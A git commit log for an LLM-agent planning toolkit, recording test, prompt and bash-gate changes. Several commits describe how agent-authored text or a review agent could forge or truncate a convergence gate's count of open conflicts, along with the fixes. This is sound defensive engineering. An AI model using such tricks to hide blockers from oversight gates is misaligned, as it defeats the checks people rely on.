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Tom Boucher
f9f72cb54c enhance(#3777): opt-in concurrent per-plan planners in chunked mode (#4346)
* test(#3777): add failing-first coverage for concurrent per-plan planner dispatch

Extracts and executes the real bash blocks this PR is about to add to
plan-phase.md and chunked-planning-mode.md (CHUNKED_PARALLEL resolution and
the BATCH_PLAN_IDS dedup guard), plus config-set/config-get coverage for the
new planning.chunked_parallel key. Expected RED against the current shipped
workflow text — the extraction anchors do not exist yet.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(#3777): dispatch chunked mode's per-plan planners concurrently within a Wave

Adds opt-in planning.chunked_parallel (default false, byte-identical to the
existing serial loop). When true and the runtime's negotiated dispatch
capacity (dispatch-capacity, #3673) is greater than 1, chunked planning's
per-plan Tasks that share one outline Wave are issued together instead of
one at a time; a later Wave still waits for the current one to be verified
on disk and committed. A host with no declared maxConcurrency (most
non-Claude runtimes today) stays serial regardless of the setting.

Resolution and the Plan-ID dedup guard live in chunked-planning-mode.md
itself (gated on the section's own CHUNKED_MODE skip-check) rather than in
plan-phase.md, so a non-chunked run pays no extra gsd_run calls.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* test(#3777): repoint extraction at chunked-planning-mode.md after the move

CHUNKED_PARALLEL resolution moved out of plan-phase.md into
chunked-planning-mode.md itself (see the preceding commit); update the
test's extraction path and header comment to match.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3777): relocate the canonical runtime-launcher preamble before its first use

The CHUNKED_PARALLEL resolution block's two gsd_run calls landed earlier in
the file than the sole existing preamble (in the commit step), which
tests/runtime-launcher-parity.test.cjs's (B) check requires to precede every
gsd_run call in the file. Move the preamble (not duplicate it) to the top of
the resolution block; the commit step's fenced block now just calls
gsd_run directly.

Caught by the GREEN checkpoint gsd-test run before push.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3777): strip the canonical preamble from the extracted resolution block

The CHUNKED_PARALLEL resolution fence now carries the relocated
runtime-launcher preamble as its first line (previous commit). Extracting
the whole fence and running it after the test's own gsd_run stub let the
embedded preamble's own resolver logic `unset -f gsd_run` and exit 1 before
reaching the resolution logic, since no real gsd-tools.cjs exists in the
temp script dir — every test calling runChunkedParallelResolution() failed.

Strip the preamble (sourced from gsd-core/workflows/_runtime-launcher.snippet.sh,
the same file scripts/sync-runtime-launcher.cjs treats as canonical) before
splicing in the stub, so this suite tests only the resolution logic it is
actually about.

Caught by the post-rebase gsd-test run before push.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3777): add the How-To page the phase gate requires

Enablement is 2 commands (config-set, then --chunked), which this repo's
own doc-quadrant gate flags as how-to-owed: a reference table cannot carry
a sequence. Covers enablement, the dispatch-capacity gate's honest
"most runtimes today: no effect" case, and the two accepted trade-offs.

An earlier reasoning pass (recorded in .gsd/phase/.../70-docs.json before
this commit) had incorrectly claimed #3034 shipped with no equivalent
how-to page, as precedent for skipping one here. That claim was false —
docs/how-to/enable-parallel-reviewer-lanes.md exists and is indexed. The
phase gate caught the omission before merge; corrected here.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3777): backfill changeset PR number

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-05 18:57:17 -04:00
Tom Boucher
1db726ebbf feat(#3806): canonize the Review Dispositions Ledger contract (#4345)
* test(#3806): add parity tests for the Review Dispositions Ledger contract

Failing-first: asserts references/planner-reviews.md, workflows/plan-phase.md,
and agents/gsd-plan-checker.md agree on a single canonical "Review Dispositions
Ledger" heading, its round-scoping, L##@{sha} anchor format, and append-only
supersession rule. These fail until the canon and its two references are added.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* feat(#3806): canonize the Review Dispositions Ledger contract

Promote the existing planner-reviews.md Step 4 return-payload tables
(Review Feedback Addressed/Deferred) into a canonical `## Review
Dispositions Ledger` PLAN.md section, stated once in planner-reviews.md
and referenced (not restated) from plan-phase.md's
<review_incorporation_contract> and gsd-plan-checker.md's Review
Incorporation dimension. Adds round-scoping (`### Round {N} —
{REVIEWS_sha}`), a `L##@{sha}` line-anchor format so a REVIEWS.md
reference survives the file being rewritten each round, and an
append-only supersession rule. Scoped to part 1 only per the
maintainer's approved-feature verdict — the deterministic lint/check
verb (part 2) is explicitly deferred to a follow-up.

Also: ADR-3806 recording the decision, a docs/features/ fragment
(FEATURES.md is generated), and a changeset fragment.

Closes #3806

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): fenced-example count bug and lint findings from review

- tests/plan-review-convergence.test.cjs: the "heading exactly once"
  test counted the canonical heading text globally, so it also matched
  the illustrative fenced-code example in planner-reviews.md that shows
  the same heading as sample content, always failing 2 !== 1. Rewritten
  as a bounded line scanner that skips fenced blocks (found by an
  isolated adversarial review pass). Also bounded an unbounded regex
  quantifier over readFileSync content flagged by
  local/no-unbounded-quantifier.
- docs/features/review-dispositions-ledger.md: match house fragment
  style (bold-lead paragraphs, not #### headings) per the Standards-axis
  review; regenerated docs/FEATURES.md.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): fit reference-cite fix within size hard caps; ack growth

Trims the plan-phase.md / gsd-plan-checker.md reference-cite text to a
single short clause pointing at gsd-core/references/planner-reviews.md
(also fixes the bare `references/planner-reviews.md` cite the #3576
shipped-reference-cites gate rejects), bringing both files back under
their SIZE hard caps and the plan-phase.md phase6 shrink-only baseline.
Both files still grow slightly versus origin/next, acknowledged below
per ADR-2719's emitted-drift-ack contract.

Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): correct malformed Emitted-Drift-Ack-Growth trailer block

The previous commit's two Emitted-Drift-Ack-Growth trailers were
separated from the Co-Authored-By trailer by a blank line, so git's
own trailer parser (which tests/helpers/emitted-runtime.cjs reads via
`%(trailers:key=...)`) only recognized the last contiguous block
(Co-Authored-By) and treated the Ack-Growth lines as ordinary body
text — invisible to the emitted-attribution gate, not malformed data.
Restating them here as one contiguous trailer block, git log over the
PR range aggregates trailers from every commit, so this is additive.
Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(#3806): isolate the ack-trailer paragraph as its own trailer block

Git's trailer parser requires the trailer paragraph to be the message's
final paragraph, preceded by a blank line, and to contain nothing but
trailer-shaped lines. The prior commit's blank line before the trailer
lines was missing, which folded the leading Emitted-Drift-Ack-Growth
lines into an ordinary prose paragraph.

Emitted-Drift-Ack-Growth: gsd-plan-checker.md — adds a short pointer (in the existing Review Incorporation bullet) to the canonical Review Dispositions Ledger location (#3806); stays within the LARGE hard cap.
Emitted-Drift-Ack-Growth: plan-phase.md — adds a short pointer (in the existing review_incorporation_contract bullet) to the canonical Review Dispositions Ledger location (#3806); stays under the XL hard cap and the phase6 shrink-only baseline.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(#3806): backfill PR #4345 into changeset and ADR

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

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Co-authored-by: sim <sim@local>
Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>
2026-09-05 18:50:27 -04:00
Dennis Alexis Valin Dittrich
1017898cb9 fix(#3771): make remediation examples non-binding and surface revision conflicts (#3916)
* fix(#3771): separate the binding property from the advisory remediation

Checker findings fused "what property failed" with "how to fix it" into a
single `fix_hint` and never marked which half binds. The checker rendered
every hint under a "must fix" heading, the orchestrators injected the issues
verbatim and ordered targeted updates, and the shared revision references
mapped each hint to a prescriptive strategy — so a contract-following planner
applied a hint literally even when a smaller mechanism satisfied the same
property, or when the hint contradicted a locked decision. There was no
channel to report that conflict, and every attempt burned a revision
iteration.

Checker side: every issue now carries a binding `required_property` (the
invariant that failed) plus its evidence and severity, and `fix_hint` is
labelled non-binding wherever it appears — including the human-facing blocker
rendering, so "must fix" unambiguously names the property and never the
example.

Planner side: revision re-checks locked decisions, capability guidance and
existing plan constraints before editing; satisfying a blocker through a
smaller valid alternative counts as addressing it; and a hint that conflicts
with any of those returns `REVISION_CONFLICT` carrying the conflict and the
alternatives considered. Orchestrators route that to user choice or the
configured plan-review convergence loop without consuming retry budget.

Also applied to the UI-spec revision loop and the gap-plan hint, and the
generic pattern's stray `suggested_fix` field name is reconciled to the
plan-checker's `fix_hint`.

Nothing legitimately binding is weakened: blockers still block, severity
still gates, iteration caps and stall escalation still fire, and required
task fields and decision coverage still hold.

Refs #3771

* test(#3771): pin the binding/advisory split across the revision chain

Locks the separation at every link that carries it: the checker's issue
schema and blocker rendering, the planner's constraint re-check and
REVISION_CONFLICT return, the generic pattern's reconciled field names, and
each orchestrator's conflict routing without retry-budget consumption. Also
pins what must not have been weakened — blockers, severity gating, iteration
caps and stall escalation.

Red against the pre-fix prose: 32 of 34 assertions fail (the 2 that pass are
the preservation checks, correctly).

Refs #3771

* chore(#3771): add changeset fragment for the remediation-binding fix

* chore(#3771): acknowledge the remediation-binding growth

Five runtime-loaded files grow: the two checkers carry the binding/advisory
split where the model reads it (a `required_property` on every dimension
example, since a schema the examples contradict teaches the examples), and
the three orchestrators carry the REVISION_CONFLICT route, which has to live
with the `iteration_count`/`revision_count` state it declines to spend.

Deletes tests/emitted-drift-acks/3172-stated-failing-direction.json: it is
fully spent on next and still owned plan-phase.md, so it walls off a key it
can no longer clear (#3078). Its removal is the documented remedy for the
duplicate-key collision, not drive-by cleanup.

* fix(#3771): close the review gaps in the conflict contract

Adversarial review (Codex, Antigravity) found four real defects in the first
pass, each confirmed against the source before acting:

- The UI checker's structured return still ordered `Fix: {exact fix required}`
  and "list each BLOCK dimension with exact fix required". The dimension
  examples had been marked non-binding but the rendering the researcher
  actually reads had not — the same omission this issue is about.
- `ui-phase` and the canonical `revision-loop` flow incremented their counter
  BEFORE dispatching the reviser, so "do NOT increment on REVISION_CONFLICT"
  was unreachable prose: the iteration was already spent. The increment now
  sits on the return path in both.
- The conflict gate offered "accept as-is", which is an early exit from a
  still-failing blocker — a weakening the brief explicitly forbids. The three
  options are now adopt an alternative / override the constraint / amend the
  constraint; every one resolves the conflict. Accepting an unaddressed blocker
  remains available only at the unchanged iteration-cap escalation.
- The convergence route was declarative: nothing in
  plan-review-convergence.md could receive a conflict. plan-phase now records
  it in REVIEWS.md — the channel that loop already consumes — convergence
  refuses to declare convergence over an open entry, and routing back into a
  run convergence itself started is explicitly excluded as a cycle. `quick` has
  no REVIEWS.md and no phase, so its convergence branch was dead prose and is
  deleted in favour of asking the user.

Also reconciles the last two drifted field names (`finding`, `affected_field`)
to the plan-checker schema, and repairs a silent no-op: the few-shot
`required_property` insertion never applied because those lines are
blockquoted, and the test's own block filter was anchored on indentation only,
so a vacuous loop passed over zero blocks. Both are fixed and the filter now
asserts it found blocks.

Refs #3771

* chore(#3771): extend the growth acknowledgment for the review round

plan-review-convergence.md joins the list: the conflict route needed a
receiving end, and it lands on the seam that loop already reads (REVIEWS.md)
rather than a new mechanism. The plan-phase, ui-phase and gsd-ui-checker
entries gain the second-pass reasoning — an executable convergence branch, the
increment moved onto the return path, and the structured return that still
ordered an exact fix.

* fix(#3771): make the conflict route bounded, ordered, and owned

Round-2 adversarial review found five more defects, each confirmed in the
source before acting:

- The convergence gate sat AFTER `gsd_run state planned-phase` and the success
  banner, so a run could write and announce convergence over an unresolved
  conflict. OPEN_CONFLICTS is now read from REVIEWS.md and is part of the
  converged CONDITION, evaluated before any write.
- plan-phase's cycle-exclusion ("unless this run was invoked by convergence")
  was not a question the orchestrator can answer at runtime. plan-phase now
  never invokes convergence at all — it records the conflict when a phase
  REVIEWS.md exists and resolves it with the user in-place, which removes the
  cycle instead of describing it.
- Closure had no owner. plan-phase writes the row, so plan-phase strikes it
  resolved; convergence only reads. An open row is a live blocker, never a
  stale artifact.
- Declining to increment the counter removed the only bound on the conflict
  path: an agent returning the same conflict forever would loop unattended. A
  conflict naming the same `required_property` twice in a row is now a stall
  and escalates through the existing gate.
- verify-work's gap-plan revision loop hands `<revision_context>` to
  gsd-planner and so inherits the whole contract, but stated none of it and
  could not handle the conflict return. It is now covered like the others, and
  is in the test's orchestrator table.

Refs #3771

* chore(#3771): acknowledge the round-2 growth

verify-work.md joins the list — the flow the second review found missed — and
the plan-phase, ui-phase and plan-review-convergence entries gain the
round-2 reasoning: the gate moved ahead of the state write, the convergence
hand-off replaced with a runtime-checkable record-and-resolve, and the
recurrence bound that replaces the counter the conflict path stopped spending.

* fix(#3771): make the convergence gate countable and stop the conflict fall-through

Third adversarial round (Antigravity) found three defects:

- The OPEN_CONFLICTS pipeline had no `grep -v '~~'` despite its own comment
  claiming one, and `grep -c '^| '` also counts a markdown table's header and
  separator rows — every resolved conflict would have read as open and
  convergence would have deadlocked instead of converging. plan-phase now
  records each conflict as a `- [ ]` checklist line and flips it to `- [x]`, so
  the gate is an exact fixed-string match with no table parsing.
- "then continue below" fell through to the checker spawn, so a SECOND
  REVISION_CONFLICT would have been handed to the checker as though it were a
  revised plan. plan-phase, quick and verify-work now re-evaluate the return
  from the top of the conflict handler; ui-phase already looped back.
- revision-loop.md still described plan-phase routing a conflict to the
  convergence loop instead of asking — the behaviour round 2 removed. Recording
  is now stated as being in addition to asking, never instead of it.

Refs #3771

* chore(#3771): bring the changeset in line with what shipped

Two review rounds widened the change after the fragment was written:
verify-work's gap-plan revision and the convergence loop are covered, two
more drifted field names are reconciled, and the conflict path carries an
explicit recurrence bound.

* fix(#3771): declare and emit the REVISION_CONFLICT marker

check:contract-drift on CI caught what local lint never reached: four
workflows dispatch on `## REVISION_CONFLICT`, but no agent declared or emitted
it — an orphan consumer, matching a marker nothing produces. The shared
reference (planner-revision.md Step 7b) described the return; the agent
definitions did not carry it.

gsd-planner and gsd-ui-researcher now emit the marker in-fence alongside their
other return markers, and both registry rows in agent-contracts.md declare it.
gsd-planner's Consumed by gains the two workflows that dispatch on it and were
missing from the row.

The gate is right: a return contract belongs where the agent is defined, not
only in a reference the agent happens to load.

Refs #3771

* chore(#3771): acknowledge the return-marker growth

gsd-planner.md and gsd-ui-researcher.md each gain the REVISION_CONFLICT
marker that check:contract-drift requires them to emit.

* fix(#3771): hoist the shared conflict protocol out of the workflows

Two CI failures, both correct gates:

- tests/few-shot-calibration.test.cjs pins the plan-checker calibration file
  at exactly 4 examples (2 positive, 2 negative). The example added in the
  first pass broke that balance — and described PLANNER behaviour in the
  CHECKER's calibration set, which is the wrong surface for it. Removed; the
  smaller-alternative rule is already normative in gsd-plan-checker.md and
  planner-revision.md, and pinned by the regression suite.
- tests/phase6-capstone-conformance.test.cjs (ADR-857 phase 6, #1168) requires
  plan-phase.md to stay BELOW its pre-phase-6 baseline of 94519 bytes. The
  inline conflict block pushed it to 94988.

The fix for the second is the one that should have been made first: the
record/resolve/close protocol and the recurrence bound were identical in four
workflows, and revision-loop.md — which plan-phase already @-imports — is what
a shared contract is for. The protocol now lives there once; plan-phase states
only its bindings (which counter, which artifact, which next step) and points
at it. plan-phase.md: 94988 -> 92739, under the ratchet with headroom, and the
four-way duplication is gone.

quick, ui-phase and verify-work do not import the reference, so they keep their
inline statements. The suite asserts each rule against what the runtime
actually loads for that orchestrator, not against the file in isolation.

Refs #3771

* docs(#3771): state the shared-protocol relationship accurately

Three of the four revision-bearing workflows do not @-import revision-loop.md,
so 'follows it verbatim' overstated the coupling. Only plan-phase defers; the
others restate the rules inline and this section is the authority they must
agree with.

* refactor(#3771): name the authority instead of restating it four times

Self-review finding: the same ~700-byte reviser paragraph was inlined in four
prompts while gsd-planner already loads planner-revision.md whenever
<revision_context> is present (agents/gsd-planner.md:555, :588) — a fifth copy
of the same contract. Four places to edit in lockstep is precisely the drift
class this PR exists to fix; the generic pattern calling the field
suggested_fix while the checker emitted fix_hint is what that looks like after
a year.

Each prompt now carries only the load-bearing clauses and names the authority
it summarises. Deliberately NOT reduced to a bare pointer: these are LLM
prompts, and a contract stated only in a file the reader is supposed to fetch
is the failure mode of this very bug. The saving is modest (~50 bytes each) —
the point is the named source of truth, not the bytes.

Suite: dropped seven assertions that pinned heading text and bold-lead
phrasing a reword would break without changing what the runtime is told; their
neighbours already pin the same contract by content. 519 -> 499 lines, 61
tests. Red gate against origin/next: 56 of 61 fail.

Refs #3771

* fix(#3771): sanitize agent-authored conflict text and bound total conflicts

Cross-AI review (agy/Gemini) raised two security findings. I confirmed the
first by running the gate's own awk against a crafted file and reproduced it
exactly; the second is a real hole in my bound.

1. FAIL-OPEN in the convergence gate. The conflict text is agent-authored and
   is appended to REVIEWS.md, which the gate scans with an awk that stops at
   the next '## ' heading. One line of agent text beginning '## ' ends that
   scan early, so conflicts below it are never counted and convergence declares
   success over a live blocker. Measured: 3 open conflicts, awk returned 2.

   Fixed at the write boundary, which is the trust boundary: every field has
   newlines and tabs collapsed to spaces and a leading '#', '-', '|' or fence
   stripped, so one conflict is exactly one line. Both producing agents now
   declare their fields single-line plain text, and the reader states the
   invariant it depends on so a later edit cannot silently break it. Verified:
   3 open + 1 resolved now counts 3; missing file and absent section count 0.

2. The recurrence bound was 'same required_property twice in a row', which an
   agent alternating property names never trips, leaving the un-incremented
   conflict path unbounded. Now bounded twice: the repeat rule catches the
   common case, and the THIRD conflict return of a loop escalates whatever
   property it names. A conflict still never consumes a revision iteration;
   this cap is separate from and additional to the revision cap.

Rejected from the same review: deleting 'a planner that reaches
required_property by a smaller or different mechanism has addressed the issue
in full' from the CHECKER prompt as misplaced. It is load-bearing exactly
there. A checker that does not know a different mechanism counts will re-flag
the issue on re-check, which is the revision loop that never terminates. The
argument offered for deleting it, that the checker evaluates the new state
independently, describes the failure mode.

Refs #3771

* fix(#3771): fail closed on an unverifiable convergence gate

Second cross-AI pass (agy, this time with the full files rather than the diff)
found two more, both real:

1. The gate read REVIEWS_FILE with `2>/dev/null || echo 0`, so an unreadable or
   empty path counted as ZERO open conflicts and converged. That path is
   resolved a few lines earlier by a pre-existing unquoted
   `ls ${phase_dir}/${padded_phase}-REVIEWS.md` (line 346, not touched by this
   PR), which yields an empty string rather than an error when the path
   contains a space. Unverifiable is not clean: the gate now tests -z and -r
   first and BLOCKS. Verified both branches.

   The unquoted ls itself is left alone deliberately — it predates this change
   and belongs to the reviews lookup, not the conflict gate. Fixing it at my
   own boundary removes its effect on this gate without widening scope.

2. REVIEWS.md is writable by the review agent, which could flip a `- [ ]` to
   `- [x]` or delete the section and forge the state of a blocking gate. The
   section now declares a single writer: /gsd:plan-phase appends and closes,
   every other agent leaves it byte-for-byte alone, readers read.

Also trimmed a clause that explained the increment ordering by reference to
what the file said before this PR. Commit history is not instruction, and
these files are prompts.

Rejected: the claim that quick's conflict gate deadlocks autonomous pipelines
by asking the user. Its existing max-iteration escalation in the same file
already asks the user the same way; this adds no new interaction class.
Noted but out of scope: the per-dimension YAML example blocks and the shim
boilerplate duplicated across agent prompts both predate this change.

Refs #3771

* fix(#3771): count conflicts by line shape, not by section

CodeRabbit review on the rehearsal PR. Five findings, all valid, all applied.

The best one is a deletion. The convergence gate scanned between
'## Plan-Revision Conflicts' and the next '## ' heading, and that scan stops at
the FIRST heading it meets — so one stray '## ' line hid every conflict beneath
it and returned 0, converging over a live blocker. Reproduced: section-scan 0,
shape-scan 1. Sanitizing at the write boundary does not cover a hand-edited,
legacy, or foreign-written REVIEWS.md, so the reader needed its own guarantee.

It now matches the conflict line SHAPE anywhere in the file:

  grep -c '^- \[ \] .*required_property:'

No section bookkeeping, nothing a heading can truncate, and it composes with the
writer's sanitization (which strips a leading '-' from agent text, so agent prose
cannot forge the shape). Verified: injected heading -> 1, all resolved -> 0.

The other four:

- Both checkers told the author never to emit a contradictory fix_hint, then
  offered an escape hatch that put the forbidden route in the hint anyway. They
  now name NO route in that case and state only that the property conflicts with
  the constraint. A hint carrying a forbidden route is applied by anyone who
  trusts hints.
- The REVISION_CONFLICT marker description in gsd-planner.md was narrower than
  planner-revision.md: it covered a contradictory hint but not an unreachable
  required_property. A planner reading only the agent file would have burned
  retry budget on the case the reference routes to a conflict.
- The few-shot calibration examples used uppercase BLOCKER/INFO while the schema
  defines blocker/warning/info. Pre-existing, but it is the same schema-vs-example
  disagreement this PR exists to end, and the file was already being edited.
- verify-work's re-entry instruction existed but sat after the Bounded clause, so
  the paragraph read "re-spawn ... stop re-spawning ... after re-spawning". The
  re-entry now immediately follows the re-spawn, and states that only a
  non-conflict return may reach the checker or increment iteration_count.

Refs #3771

* fix(#3771): resolve the contradictory scope_sanity severity examples

Sixth CodeRabbit finding, posted outside the diff range and missed on my first
read — I had claimed all findings were addressed after reading only the five
inline comments. This one was in the review body.

agents/gsd-plan-checker.md carried TWO scope_sanity examples with identical
metrics (5 tasks, 12 files) and OPPOSITE severities: warning in Dimension 5,
blocker in <examples>. Line 872 states "2-3 tasks/plan good, 4 warning, 5+
blocker" and the severity table lists warning as "Scope 4 tasks (borderline)",
so the warning example contradicted both.

ADR-2629 Decision 5's "over budget is a WARNING, never a blocker" does not
excuse it: that rule governs the smart-zone TOKEN estimate (the estimate-check
verb, lines 299-306), which is a different axis from task count. Verified in
source before touching it.

The contradiction is pre-existing but this PR made it binding and visible:
severity is now declared part of the binding payload, and both examples were
given the same required_property, so they now disagree on the severity of an
identical finding about an identical property.

Deviating from the proposed correction, which was warning -> blocker: that
would duplicate the <examples> entry outright (same tasks, files, severity).
The Dimension 5 example is instead made a genuine 4-task borderline warning, so
the file keeps one worked example per severity and the thresholds, the severity
table and both examples finally agree.

Refs #3771

* fix(#3771): stop laundering a grep error into zero open conflicts

Seventh CodeRabbit finding — from a SECOND review round my own CR-4 push
triggered, which I had not looked for. This one is a regression I introduced
while fixing the previous fail-open.

CR-4 replaced the truncatable section scan with:

  OPEN_CONFLICTS=$(grep -c '^- \[ \] .*required_property:' "$REVIEWS_FILE" || true)

`|| true` masks every grep failure. grep exits 1 for "no matches" (a legitimate
zero) but 2 for a read error, and `|| true` turns both into an empty capture
that `${OPEN_CONFLICTS:-0}` renders as 0. If REVIEWS.md is removed or becomes
unreadable between the -r check and the scan, the gate reports no conflicts and
convergence proceeds. Proven: unreadable file -> captured empty -> 0.

The status is now inspected, and only exit 1 counts as zero; anything else
blocks.

My first attempt at this fix was itself wrong and my own harness caught it: I
wrote `if ! grep ...; then grep_status=$?`, but `!` inverts the status, so `$?`
in that branch is 0 and every failure reads as success — the clean-file case
printed "BLOCKED (grep exit 0)". The status must be read in the ELSE branch of a
non-negated `if`, which is what CodeRabbit proposed. Both traps are now pinned
by tests.

Verified end to end: all resolved -> 0, no conflicts at all -> 0, injected
heading -> 1, unreadable file -> BLOCKED with grep exit 2.

Refs #3771

* test(#3771): execute the conflict gate instead of reading it

CodeRabbit round three: 0 actionable, 1 nitpick — "these assertions inspect
Markdown source only; they do not prove that grep status 1 produces zero
conflicts or that a scan error exits before convergence." Rated Trivial. It is
the most valuable finding of the three rounds.

This gate has been wrong three times: a section scan a heading could truncate, a
`|| true` that laundered grep's error status into zero, and an `if !` whose `$?`
reported the negation rather than the command. Every one of those passed the
text assertions that existed at the time. I proved each fix by hand in a shell,
and none of that proof lived in the suite.

The gate is one self-contained fenced block, so the test now extracts it from
the workflow — located by content, not line number — writes it to a script and
RUNS it against fixtures: two open plus one resolved counts 2; no matches counts
0 and does not fail; a conflict below an injected `## ` heading still counts; an
unreadable path and an empty path both BLOCK with a non-zero status and no zero
count on stdout.

Non-vacuity proven by mutation rather than asserted. Reverting the gate to each
of its three historical broken forms reds the suite:

  section-scan awk  -> 7 failures (5 in the gate cases)
  || true           -> 4 failures (3 in the gate cases)
  if ! (negated $?) -> 4 failures (3 in the gate cases)
  restored          -> 69 pass, 0 fail

The prose assertions stay: they are the right instrument for a prompt. This
covers the one part of the change that is real shell an orchestrator executes.

Refs #3771

* test(#3771): route the gate harness through the shared test helpers

ESLint's project rules caught three violations in the new harness: an unbounded
execFileSync (DEFECT.UNBOUNDED-SUBPROCESS — an unbounded spawn is an indefinite
hang, and on macOS CI that is how a stuck run stops reporting instead of failing)
and two raw fs.rmSync calls, which skip the Windows-EBUSY retry budget that
helpers.cleanup carries.

Now uses createTempDir/cleanup from tests/helpers.cjs and passes an explicit
30s timeout. Suppressing the rules was available and would have been the wrong
call: both exist because of real CI failure modes on platforms I am not testing
on.

* chore(#3771): backfill the changeset PR number

The pr: field is drift-checked against the PR event payload, so it cannot be
written before the PR exists. Set to 3916.

* fix(#3771): close revision conflict persistence gaps

Use the authoritative review artifact, keep conflict and normal retry paths disjoint, and enforce one writer-reader grammar so malformed state fails closed.

Emitted-Drift-Ack-Growth: diagnose-issues.md — #3771 marks the gap-plan remediation hint non-binding while keeping root_cause authoritative
Emitted-Drift-Ack-Growth: gsd-plan-checker.md — #3771 separates binding required_property evidence from advisory fix_hint examples across the checker contract
Emitted-Drift-Ack-Growth: gsd-planner.md — #3771 declares the REVISION_CONFLICT return used when remediation contradicts governing constraints
Emitted-Drift-Ack-Growth: gsd-ui-checker.md — #3771 applies the same binding-property and advisory-hint split to UI review findings
Emitted-Drift-Ack-Growth: gsd-ui-researcher.md — #3771 defines the UI revision producer's structured REVISION_CONFLICT return
Emitted-Drift-Ack-Growth: plan-phase.md — #3771 routes and persists bounded revision conflicts before spending the normal retry budget
Emitted-Drift-Ack-Growth: plan-review-convergence.md — #3771 adds the fail-closed owned-block parser and prevents convergence over open conflicts
Emitted-Drift-Ack-Growth: review.md — #3771 emits and preserves the canonical writer-owned conflict block across review regeneration
Emitted-Drift-Ack-Growth: ui-phase.md — #3771 routes UI revision conflicts to resolution before consuming revision_count
Emitted-Drift-Ack-Growth: verify-work.md — #3771 gives gap-plan revision the same bounded conflict route before iteration_count

* test(#3916): guard rebases against schema drift

Load the current-base progressive-disclosure examples so every integrated issue remains bound by required_property after branch reconciliation.

* test(#3916): skip the extracted-gate suite's bash spawns on win32

Third review round's sole survivor: runConflictGate()/withReviews() spawn
bash against a Node-native temp path built by createTempDir(), which is
backslash-separated on the Windows CI lane and not a path Git Bash is
guaranteed to accept (DEFECT.WINDOWS-TEST-PORTABILITY, matching the
observed CI failure at revision-remediation-binding.test.cjs:844,
ENOENT on a path Windows read as a directory separator). No eslint rule
catches it since the call has neither a chmod nor a `bash -c` form.

Guards the four call sites with the repo's existing skipOnWin32
convention (describe/test `{ skip: IS_WINDOWS }`) rather than
normalizing the harness path to forward slashes, which would defeat the
one test whose purpose is proving the production gate does NOT rewrite
a literal backslash in a POSIX filename.

* fix(#3916): backfill changeset pr field to the fork validation PR number

* fix(#3771): forbid silently accepting an open plan-revision conflict at max-cycles escalation

The max-cycles escalation prompt only surfaced HIGH_COUNT and ACTIONABLE_COUNT; an open
plan-revision conflict (OPEN_CONFLICTS > 0) was never disclosed there, and "Proceed anyway"
could exit successfully over it — exactly the failure mode this PR exists to close (a success
banner over an unresolved conflict nobody resolved). Blockers still block: withhold "Proceed
anyway" and route to Manual review whenever a conflict is open.

* fix(#3771): do not hard-block REVISION_CONFLICT persistence when no REVIEWS.md exists yet

A phase's first-ever revision cycle can return REVISION_CONFLICT before any REVIEWS.md has been
written — REVIEWS_PATH is then legitimately empty, not a corrupt or deleted file. The persistence
gate's own accompanying prose already says the record channel applies 'when REVIEWS_FILE is
non-empty', but the bash condition never checked that, so it hard-blocked every conflict on a
brand-new phase regardless of whether persistence was even expected to run. Require a non-empty
REVIEWS_FILE before treating a missing file as an error.

* chore(#3771): raise the plan-phase.md ADR-857 host-loop ceiling to 96700

The frozen pre-phase-6 ceiling (94519) collided on rebase: this PR's own
REVISION_CONFLICT persistence/routing gate is core planner control flow, not an
un-extracted optional feature, and landed alongside an unrelated, already-merged
same-file growth (the #4.6 context-drift pre-check) already on next. Same
rationale #1298 already established for execute-phase.md's ceiling.

* chore(#3916): backfill changeset pr field to the upstream PR number

* fix(#3771): make the writer-side REVISION_CONFLICT sanitize step real shell

The Conflict Return record channel sanitized agent-authored fields via a
prose instruction ("Sanitize each agent-authored field before appending")
for the orchestrator LLM to apply by hand, while the reader-side gate in
plan-review-convergence.md parses the same slot with real, executed awk.
Flagged Minor across two review rounds (round 4, round 6) since no code
performed the sanitize anywhere.

plan-phase.md's Conflict Return step now runs a real bash gate: sanitize
each field (collapse newline/tab to space, strip a leading #/-/|/fence),
build the one-line record, skip the append if an identical line already
exists (idempotent), insert before the writer-owned end delimiter, and
fail closed if that delimiter is missing rather than silently dropping
the conflict.

tests/revision-remediation-binding.test.cjs extracts and RUNS the new
fence (matching how the reader gate is already tested), composing it
with the existing reader gate: hostile-field fast-check fuzzing, a
repeated-conflict idempotency check, and a missing-delimiter fail-closed
check that the file is left byte-for-byte unchanged on failure.

Emitted-Drift-Ack-Growth: plan-phase.md — #3916 turns the writer-side
REVISION_CONFLICT sanitize+insert step into real, executed shell instead
of a prose instruction, matching the reader gate's existing rigor

* fix(#3916): backfill changeset pr field to the fork validation PR number

Fork CI's changeset-lint reads the real PR number from its own event
payload; the fragment still carried the upstream number from the last
